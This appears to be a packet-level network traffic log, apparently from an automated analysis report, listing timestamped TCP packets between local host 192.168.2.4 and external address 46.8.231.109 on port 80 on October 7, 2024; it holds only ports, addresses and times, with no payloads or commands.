Oct 7, 2024 03:03:06.170747042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170773029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170789957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170804024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170819998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170823097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.170845985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170851946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.170860052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.170888901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.170908928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.179877043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.179912090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.179935932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.179945946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.179971933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180008888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180016994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180062056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180100918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180150986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180160046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180186033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180198908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180221081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180229902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180263042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180888891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180922985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.180942059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180960894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.180972099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181003094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181014061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181037903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181042910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181082964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181698084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181730032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181760073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181780100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181781054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181813002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181828976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181847095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.181857109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.181890965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.182547092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.182595968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.182612896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.182629108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.182641029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.182661057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.182672977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.182694912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.182706118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.182738066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.183343887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.183408022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.250987053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251035929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251061916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.251125097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251133919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.251157999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251171112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.251193047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251203060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.251230001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.251238108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.251275063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261066914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261159897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261162043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261193991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261205912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261226892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261240959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261261940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261266947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261300087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261306047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261332035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261344910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261379004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261389017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261436939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261441946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261475086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.261486053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.261529922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270359039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270409107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270416021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270442963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270456076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270474911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270488977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270509005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270520926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270558119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270603895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270649910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270656109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270689011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270700932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270735025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270737886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270770073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270778894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270803928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.270816088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.270853043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271578074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271625996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271629095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271661043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271676064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271693945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271707058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271725893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271739960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271759033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.271770954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.271805048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272342920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272392988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272393942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272440910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272444010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272478104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272492886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272509098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272520065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272542000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.272553921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.272588968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273251057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273283958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273303986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273325920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273333073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273365021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273377895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273397923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273410082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273432970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.273443937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.273474932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274044991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274096012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274096966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274128914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274142027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274173975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274178028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274209976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274226904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274243116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274254084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274286985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274897099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274949074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.274949074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.274995089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.341166019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341188908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341213942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341229916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341245890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341260910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341279030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.341366053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351491928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351571083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351598024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351608038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351629972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351630926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351653099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351655006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351675987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351681948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351700068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351705074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351732016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351756096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351758957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351780891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351803064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351804018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351826906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351831913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351856947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351880074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.351949930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.351999044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.352051973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.352072954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.352097034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.352099895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.352127075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.352153063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.352154016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.352178097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.352200985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.352222919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.360879898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.360933065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.360939980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.360965967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.360985994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.360999107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361016989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361044884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361052036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361084938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361109018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361135006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361151934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361185074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361202955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361232996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361238003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361265898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361284018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361298084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361315966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361330986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361346960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361362934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361388922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361394882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361406088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361429930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.361444950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361480951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.361972094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362004995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362029076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362037897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362056017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362070084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362083912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362118006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362217903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362267017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362274885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362299919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362319946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362360954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362361908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362394094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362413883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362425089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362438917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362457991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362472057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362489939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362512112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362519979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362539053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362552881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.362565994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.362596035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363146067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363178015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363207102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363225937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363231897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363256931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363277912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363307953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363317966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363357067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363358021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363409042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363409042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363441944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363457918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363473892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363497972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363506079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363523960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363539934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.363557100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.363594055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364119053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364151001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364180088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364200115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364204884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364231110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364249945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364264011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364279985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364295006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364316940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364341021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364346027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364377022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364398956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364408016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364428997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364439964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364455938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364481926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.364486933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.364533901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365103960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365151882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365163088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365185022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365204096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365216970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365236998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365251064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365271091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365299940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365299940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365331888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365350008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365362883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365381002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365395069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365412951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365427017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365444899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365458965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.365473032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.365506887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366091967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366123915 CEST	80	49731	46.8.231.109	192.168.2.4
